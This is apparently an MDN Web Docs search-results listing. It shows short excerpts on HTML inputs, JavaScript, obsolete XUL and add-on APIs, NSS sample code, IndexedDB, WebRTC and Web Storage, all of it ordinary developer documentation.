... a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 7 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
var starttime = document.getelementbyid("starttime"); var valuespan = document.getelementbyid("value"); starttime.addeventlistener("input", function() { valuespan.innertext = starttime.value; }, false); when a form including a time input is submitted, the value is encoded before being included in the form's data.
... the form's data entry for a time input will always be in the form name=hh%3amm, or name=hh%3amm%3ass if seconds are included (see using the step attribute).
... additional attributes in addition to the attributes common to all <input> elements, time inputs offer the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the latest time to accept, in the syntax described under time value format min the earliest time to accept as a valid input readonly a boolean attribute which, if present, indicates that the contents of the time input should not be user-editable step the stepping interval to use both for user interfaces purposes and during constraint validation unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, ...
...And 7 more matches
Indexed collections - JavaScript
« previousnext » this chapter introduces collections of data which are ordered by an index value.
... javascript does not have an explicit array data type.
... let arr = array(9.3) // rangeerror: invalid array length if your code needs to create arrays with single elements of an arbitrary data type, it is safer to use array literals.
...And 7 more matches
Web audio codec guide - Web media technologies
the processing of audio data to encode and decode it is handled by an audio codec (coder/decoder).
... lossless audio codec mp4, ogg, flac g.711 pulse code modulation (pcm) of voice frequencies rtp / webrtc g.722 7 khz audio coding within 64 kbps (for telephony/voip) rtp / webrtc mp3 mpeg-1 audio layer iii mp4, adts, mpeg1, 3gp opus opus webm, mp4, ogg vorbis vorbis webm, ogg [1] when mpeg-1 audio layer iii codec data is stored in an mpeg file, and there is no video track on the file, the file is typically referred to as an mp3 file, even though it's still an mpeg format file.
... for each factor that affects the encoded audio, there is a simple rule that is nearly always true: because the fidelity of digital audio is determined by the granularity and precision of the samples taken to convert it into a data stream, the more data used to represent the digital version of the audio, the more closely the sampled sound will match the source material.
...And 7 more matches
dev/panel - Archive of obsolete content
mandatory icon string the icon to display in the toolbox toolbar, specified as a resource:// url pointing to an icon file, typically in your add-on's "data" directory.
... you can use the notation "./my-icon.png" as an alias for the url pointing to "data/my-icon.png".
... mandatory url string a resource:// url pointing to an html file, typically in your add-on's "data" directory.
...And 6 more matches
Storing annotations - Archive of obsolete content
tation(annotationtext, anchor) { this.annotationtext = annotationtext; this.url = anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, height: 220, contenturl: data.url('editor/annotation-editor.html'), contentscriptfile: data.url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement th...
... these three files can all go in a new subdirectory of data which we will call list.
... save this file in data/list as annotation-list.js.
...And 6 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
displaying untrusted data as content in firefox, there is a distinction between chrome and content documents.
...this also means that you won’t be able to establish a security boundary between your extension and untrusted data if your extension opens as a tab in the browser — so displaying your extension in a browser tab is a bad choice.
...not giving privileges to documents that contain untrusted data the privileges that a document gets depend on where it comes from.
...And 6 more matches
List of Mozilla-Based Applications - Archive of obsolete content
abstract accounting tool adobe acrobat and adobe reader portable document format (pdf) software uses mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its m...
... that people access through device conkeror keyboard-oriented browser convertigo enterprise mashup server server tool for transactional web scraping and for web clipping cometbird another firefox mod modified version of firefox correo email couac (fr) web-based email and jabber app couchdb document-oriented database uses spidermonkey courtanet benefit (fr) underwriting software for french insurance brokers crosscheck browserless testing framework uses mozilla rhino crowbar server tool cycloctopus screen scraping console cyclone3 content management system danger mobile platform uses gecko on the server side --...
... just (fr) audio a tool for setting temporal tags in audio documents jsdoc toolkit documentation tool uses mozilla rhino k-meleon gecko-based web browser for windows embeds gecko in mfc kairo.at mandelbrot creates images of mandelbrot sets xulrunner application kazehakase gecko-based web browser for unix kirix strata data browser kiwix offline version of wikipedia kneemail prayer, praise, and journal application komodo and komodo edit and open komodo development tools mozilla-based application (pre-xulrunner style), xul ui kompozer wysiwyg html editor unofficial bug-fix release of nvu kylo video browser uses gecko biofortis l...
...And 6 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
the nsexternalapphandler (which implements nsihelperapplauncher) uses the nsimimeinfo and an nsihelperapplauncherdialog to decide what to do with the data.
... gets notifications from necko as the data comes in.
... puts the data in the file as ondataavailable notifications come in.
...And 6 more matches
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the clipboard.
... this is the recommended method of copying data to the clipboard.
...And 6 more matches
Clipboard Test - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data from jetpack to the clipboard.
... this is the recommended method of copying data to the clipboard.
...And 6 more matches
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data from jetpack to the clipboard.
... this is the recommended method of copying data to the clipboard.
...And 6 more matches
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the clipboard.
... this is the recommended method of copying data to the clipboard.
...And 6 more matches
Building Trees - Archive of obsolete content
however, since templates are often used with trees—especially with large amounts of data—the template system supports a special builder just for creating trees.
...to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content"> the dont-build-content flag causes no content to be built for the template.
...there may be situations that call for this, typically when handling smaller amounts of data.
...And 6 more matches
Multiple Queries - Archive of obsolete content
the following is the basic structure of a template with multiple queries: <listbox datasources="..." ref="..."> <queryset> <query> ...
...here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> ...
...this is because the builder notices that the photos are in an rdf seq in the datasource and arranges them in the order they appear in the seq.
...And 6 more matches
Special Condition Tests - Archive of obsolete content
for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources attribute on it.
...here is a previous example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> previously, an assign element was used to assign the tagname of the result to a variable, which was then compared in a rule condition.
...for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://purl.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:http://www.xulplanet.com/rdf/address"/> </rule> </template> </vbox> on the first pass...
...And 6 more matches
Advanced Rules - Archive of obsolete content
the full rule syntax the rule syntax described so far is useful for some datasources but sometimes you will need to display data in more complicated ways.
...rule conditions when a tree, menu or other element with a datasource generates content, the template builder first finds the resource referred to by the ref attribute.
...to do this, use the member element as in the following: <tree id="citiestree" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <template> <rule> <conditions> <content uri="?list"/> <member container="?list" child="?city"/> </conditions> <rule> <template> </tree> the template builder starts by grabbing the value of the ref attribute, which in this case is http://www.xulplanet.com/rdf/weather/cities.
...And 6 more matches
Custom Tree Views - Archive of obsolete content
« previousnext » the tree view holds the data to be displayed in the tree.
...this is necessary when the page has a lot of data or that data is highly nested.
...you might also implement a custom view when you want to perform computations on the data to be displayed.
...And 6 more matches
NPP_Write - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary delivers data to a plug-in instance.
... (remark: hence the name "npp_write" is misleading - just think of:"data_arrived") syntax #include <npapi.h> int32 npp_write(npp instance, npstream* stream, int32 offset, int32 len, void* buf); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... offset offset in bytes of buf from the beginning of the data in the stream.
...And 6 more matches
NPStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser.
... syntax typedef struct _npstream { void* pdata; /* plug-in private data */ void* ndata; /* netscape private data */ const char* url; uint32 end; uint32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser.
... ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in.
...And 6 more matches
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
however, the rss <description> element is only suppose to be used to includeplain text data.
... however, it has become common practice to putxml escaped html data in it.
... xml does however have the cdata convention.
...And 6 more matches
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation.
... base64 encoding schemes are commonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ascii.
... this is to ensure that the data remain intact without modification during transport.
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
all rights reversed.</p> </td> </tr> </table> if you try to navigate this using a screen reader, it will probably tell you that there's a table to be looked at (although some screen readers can guess the difference between table layouts and data tables).
... <h1>links</h1> <p>this is a link to <a href="https://www.mozilla.org">mozilla</a>.</p> <p>another link, to the <a href="https://developer.mozilla.org">mozilla developer network</a>.</p> <h2>buttons</h2> <p> <button data-message="this is from the first button">click me!</button> <button data-message="this is from the second button">click me too!</button> <button data-message="this is from the third button">and me!</button> </p> <h2>form</h2> <form> <div> <label for="name">fill in your name:</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">enter your age:</lab...
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that b...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
all rights reversed.</p> </td> </tr> </table> if you try to navigate this using a screen reader, it will probably tell you that there's a table to be looked at (although some screen readers can guess the difference between table layouts and data tables).
... <h1>links</h1> <p>this is a link to <a href="https://www.mozilla.org">mozilla</a>.</p> <p>another link, to the <a href="https://developer.mozilla.org">mozilla developer network</a>.</p> <h2>buttons</h2> <p> <button data-message="this is from the first button">click me!</button> <button data-message="this is from the second button">click me too!</button> <button data-message="this is from the third button">and me!</button> </p> <h2>form</h2> <form> <div> <label for="name">fill in your name:</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">enter your age:</lab...
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that b...
...And 6 more matches
CSS values and units - Learn web development
note: you'll also see css values referred to as data types.
... the terms are basically interchangeable — when you see something in css referred to as a data type, it is really just a fancy way of saying value.
...the color property, versus the <color> data type).
...And 6 more matches
JavaScript basics - Learn web development
this happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc.
...with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more!
...declaring a variable, you can give it a value: myvariable = 'bob'; also, you can do both these operations on the same line: let myvariable = 'bob'; you retrieve the value by calling the variable name: myvariable; after assigning a value to a variable, you can change it later in the code: let myvariable = 'bob'; myvariable = 'steve'; note that variables may hold values that have different data types: variable explanation example string this is a sequence of text known as a string.
...And 6 more matches
JavaScript object basics - Learn web development
object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions — which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like.
...i\'m ' + this.name[0] + '.'); } }; after saving and refreshing, try entering some of the following into the javascript console on your browser devtools: person.name person.name[0] person.age person.interests[1] person.bio() person.greeting() you have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax!
...the first four items are data items, and are referred to as the object's properties.
...And 6 more matches
SVG Guidelines
on the other hand the size of a raster file of the same image will likely vary tremendously depending on the dimensions of the image since the larger the dimensions the more pixel data the file needs to store.
... at very small dimensions (the extreme case being 1px x 1px) the raster file will likely be much smaller than the svg file since it only needs to store one pixel of data.
...in fact it can be faster to send vector information from an svg to a user's gpu than it is to extract raster data from an equivalent raster image.
...And 6 more matches
Profiling with the Firefox Profiler
call tree the call tree shows the samples organized by 'running time' which will show the data by wall clock time.
...sharing the profile click "publish...", some of the data may be excluded, click "publish".
... adb shell am start -n org.mozilla.fennec_aurora/.app \ --es env0 moz_profiler_startup=1 \ --es env1 moz_profiler_shutdown=/sdcard/download/profiler.json then, if you select quit menu, you can collect profiling data to moz_profiler_shutdown file.
...And 6 more matches
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
is it possible to sign data in java with jss?
...as well you must use the java flag -d64 to specify the 64-bit data model.
... ssl_getclientauthdatahook sets a callback to return the local certificate for ssl client auth.
...And 6 more matches
NSS Sample Code Sample_2_Initialization of NSS
nss sample code 2: initializing nss this example program demonstrates how to initialize the nss database.
...plaintext password\n\n", "-p <plainpasswc>"); fprintf(stderr, "%-15s specify a password file\n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */ char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; ...
... } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a password which will be used to encrypt your keys.\n" "the password should be at least 8 characters long,\n" "and should contain at least one non-alphabetic character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ", checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ", checkpassword...
...And 6 more matches
NSS Sample Code sample2
x63, 0x6a, 0x31}; unsigned char giv[] = {0xe4, 0xbb, 0x3b, 0xd3, 0xc3, 0x71, 0x2e, 0x58}; int main(int argc, char **argv) { ck_mechanism_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, ivitem; secstatus rv, rv1, rv2; unsigned char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
...if you choose something else, then data padding is the * application's responsibility */ ciphermech = ckm_des_cbc_pad; slot = pk11_getbestslot(ciphermech, null); /* slot = pk11_getinternalkeyslot(); is a simpler alternative but in * theory, it *may not* return the optimal slot for the operation.
...And 6 more matches
sslcrt.html
upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator.
... syntax #include <cert.h> secstatus cert_verifycertnow( certcertdbhandle *handle, certcertificate *cert, prbool checksig, seccertusage certusage, void *wincx); parameters this function has the following parameters: handle a pointer to the certificate database handle.
... getting certificate information cert_findcertbyname cert_getcertnicknames cert_freenicknames cert_getdefaultcertdb nss_findcertkeatype cert_findcertbyname finds the certificate in the certificate database with a specified dn.
...And 6 more matches
Necko walkthrough
has onstartrequest, onstoprequest, ondataavailable, the three functions in which channel responses are received asynchronously.
...but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen.
... receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
...And 6 more matches
TPS Tests
a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (from a single sync account) over a series of different events and clients.
...even if you opt not to use restmail, do not use your personal firefox account, as tps will delete and replace the data in it many times, not to mention the first run is very likely to fail, since it expects a clean start).
... data definitions/asset list (optional, but all current tests have them).
...And 6 more matches
nsIDOMWindowUtils
otscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccountscriptsummary(in long ascript); astring getpccountscriptcontents(in long ascript); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcom...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(i...
... getdocumentmetadata() function to get metadata associated with the window's current document.
...And 6 more matches
nsILoginManager
ilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); methods addlogin() stores a new login in the login manager.
... if newlogindata is a nsilogininfo, all of the old login's nsilogininfo properties are changed to the values from newlogindata (but the old login's nsiloginmetainfo properties are unmodified).
... if newlogindata is a nsipropertybag, only the specified properties will be changed.
...And 6 more matches
nsIPushMessage
this interface resembles pushmessagedata from the push api.
... method overview domstring text(); jsval json(); void binary([optional] out uint32_t datalen, [array, retval, size_is(datalen)] out uint8_t data); methods text() extracts the message data as a utf-8 text string.
... json() parses the message data as json.
...And 6 more matches
nsIRadioInterfaceLayer
to create an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); ...
... void rejectcall(in unsigned long callindex); void sendsms(in domstring number, in domstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsirildatacallback callback); attributes attribute type description currentstate jsval read only.
...eakerenabled bool constants call state constants constant value description call_state_unknown 0 call_state_dialing 1 call_state_alerting 2 call_state_busy 3 call_state_connecting 4 call_state_connected 5 call_state_holding 6 call_state_held 7 call_state_resuming 8 call_state_disconnecting 9 call_state_disconnected 10 call_state_incoming 11 datacall_state_unknown 0 datacall_state_connecting 1 datacall_state_connected 2 datacall_state_disconnecting 3 datacall_state_disconnected 4 call_state_ringing 2 obsolete since gecko 14.0 methods answercall() void answercall( in unsigned long callindex ); parameters callindex missing description exceptions thrown missing exception missing description deactivatedatacall() ...
...And 6 more matches
nsISHEntry
nsdocshelleditordataptr forgeteditordata(); violates the xpcom interface guidelines nsicontentviewer getanycontentviewer(out nsishentry ownerentry); void getscrollposition(out long x, out long y); void getviewerbounds(in nsintrect bounds); native code only!
... boolean hasdetachededitor(); violates the xpcom interface guidelines boolean hasdynamicallyaddedchild(); boolean isdynamicallyadded(); void seteditordata(in nsdocshelleditordataptr adata); violates the xpcom interface guidelines void setissubframe(in boolean aflag); void setscrollposition(in long x, in long y); void settitle(in astring atitle); void setuniquedocidentifier(); void seturi(in nsiuri auri); void setviewerbounds(in nsintrect bounds); native code only!
... postdata nsiinputstream post data for the document.
...And 6 more matches
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string.
... if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api.
...r converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(components.interfaces.nsiscriptableunicodeconverter); method overview acstring convertfromunicode(in astring asrc); acstring finish(); astring converttounicode(in acstring asrc); astring convertfrombytearray([const,array,size_is(acount)] in octet adata, in unsigned long acount); void converttobytearray(in astring astring,[optional] out unsigned long alen,[array, size_is(alen),retval] out octet adata); nsiinputstream converttoinputstream(in astring astring); attributes attribute type description charset string current character set.
...And 6 more matches
nsIStreamListener
netwerk/base/public/nsistreamlistener.idlscriptable this interface is used to listen to data being received on a stream.
... inherits from: nsirequestobserver last changed in gecko 1.0 classes which want to consume data from a nsichannel need to implement this interface.
...so, in all the three methods - ondataavailable(), nsirequestobserver.onstartrequest() and nsirequestobserver.onstoprequest() have to be implemented.
...And 6 more matches
IndexedDB - Firefox Developer Tools
when you select an origin inside the indexed db storage type in the storage tree of the storage inspector, a table lists the details of all the databases present for that origin.
... note: the data shown in an indexeddb database is a snapshot of the data as it was when you opened the storage inspector tool.
... databases have the following details: database name — the name of the database.
...And 6 more matches
EXT_texture_compression_bptc - Web APIs
ext.compressed_rgba_bptc_unorm_ext compresses 8-bit fixed-point data.
... each 4x4 block of texels consists of 128 bits of rgba or image data.
... ext.compressed_srgb_alpha_bptc_unorm_ext compresses 8-bit fixed-point data.
...And 6 more matches
FileReader - Web APIs
the filereader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
... file objects may be obtained from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
...this is one of the following: empty 0 no data has been loaded yet.
...And 6 more matches
IDBIndex - Web APIs
WebAPIIDBIndex
idbindex interface of the indexeddb api provides asynchronous access to an index in a database.
...you use this interface to retrieve data.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
...And 6 more matches
IDBObjectStore.add() - Web APIs
dataerror any of the following conditions apply: the object store uses in-line keys or has a key generator, and a key parameter was provided.
... datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm.
... example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...And 6 more matches
IDBObjectStore.deleteIndex() - Web APIs
the deleteindex() method of the idbobjectstore interface destroys the index with the specified name in the connected database, used during a version upgrade.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database.
... example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded.
...And 6 more matches
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the indexeddb api provides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
... blocked fired when an open connection to a database is blocking a versionchange transaction on the same database.
... upgradeneeded fired when an attempt was made to open a database with a version number higher than its current version.
...And 6 more matches
IDBTransactionSync - Web APIs
the idbtransactionsync interface of the indexeddb api provides a synchronous transaction on a database.
... when an application creates an idbtransactionsync object, it blocks until the browser is able to reserve the require database objects.
... method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with.
...And 6 more matches
RTCDtlsTransport - Web APIs
the rtcdtlstransport interface provides access to information about the datagram transport layer security (dtls) transport over which a rtcpeerconnection's rtp and rtcp packets are sent and received by its rtcrtpsender and rtcrtpreceiver objects.
... a dtls transport is also used to provide information about sctp packets transmitted and received by an connection's data channels.
..."middle" alignment-baseline="middle">rtcdtlstransport</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesicetransport read only the read-only rtcdtlstransport property icetransport contains a reference to the underlying rtcicetransport.state read only the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.methodsthis interface has no methods.
...And 6 more matches
RTCStatsType - Web APIs
codec an rtccodecstats object containing statistics about a codec currently being used by rtp streams to send or receive data for the rtcpeerconnection.
... data-channel an rtcdatachannelstats object which contains statistics about each rtcdatachannel on the connection.
... inbound-rtp an rtcinboundrtpstreamstats object providing statistics about inbound data being received from remote peers.
...And 6 more matches
Using the Resource Timing API - Web APIs
the resource timing api provides a way to retrieve and analyze detailed network timing data regarding the loading of an application's resource(s).
...the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...this timing data provides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks.
...And 6 more matches
WebGL best practices - Web APIs
for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors.
... getbuffersubdata(): usual finish + round-trip.
... (this is okay for read buffers in conjunction with fences - see async data readback below.) readpixels() to the cpu (i.e.
...And 6 more matches
Basic concepts behind Web Audio API - Web APIs
although, you don't have to provide a destination if you, say, just want to visualize some audio data.
... created from raw pcm data (the audio context has methods to decode supported audio formats).
... audio data: what's in a sample when an audio signal is processed, sampling means the conversion of a continuous signal to a discrete signal; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks.
...And 6 more matches
Attestation and Assertion - Web APIs
the attestation format contains two basic arraybuffers: clientdatajson - an arraybuffer that contains a json representation of what the browser saw when being asked to authenticate.
...contains authenticator data and an attestation statement.
... the authenticator data contains an attestedcredentialdata field.
...And 6 more matches
Using the Web Storage API - Web APIs
these mechanisms are available via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties are members of) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved, and removed.
... testing whether your storage has been populated to start with, in main.js, we test whether the storage object has already been populated (i.e., the page was previously accessed): if(!localstorage.getitem('bgcolor')) { populatestorage(); } else { setstyles(); } the storage.getitem() method is used to get a data item from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populatestorage() to add the existing customization values to the storage.
...this takes the key of the data item as an argument, and returns the data value.
...And 6 more matches
Window - Web APIs
WebAPIWindow
window.localstorage read only returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.
... window.performance read only returns a performance object, which includes the timing and navigation attributes, each of which is an object providing performance-related data.
... window.sessionstorage returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.
...And 6 more matches
Value definition syntax - CSS: Cascading Style Sheets
a component can be a keyword, some characters considered as a literal, or a value of a given css data type or of another css property.
... data types basic data types some kind of data are used throughout css, and are defined once for all values in the specification.
... called basic data types, they are represented with their name surrounded by the symbol '<' and '>': <angle>, <string>, … non-terminal data types less common data types, called non-terminal data types, are also surrounded by '<' and '>'.
...And 6 more matches
Ajax - Developer guides
WebGuideAJAX
this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources.
... server-sent events traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server.
... with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
...And 6 more matches
Creating a cross-browser video player - Developer guides
<figure id="videocontainer"> <video id="video" controls preload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> <!-- flash fallback --> <object type="application/x-shockwave-flash" data="flash-player.swf?videourl=video/tears-...
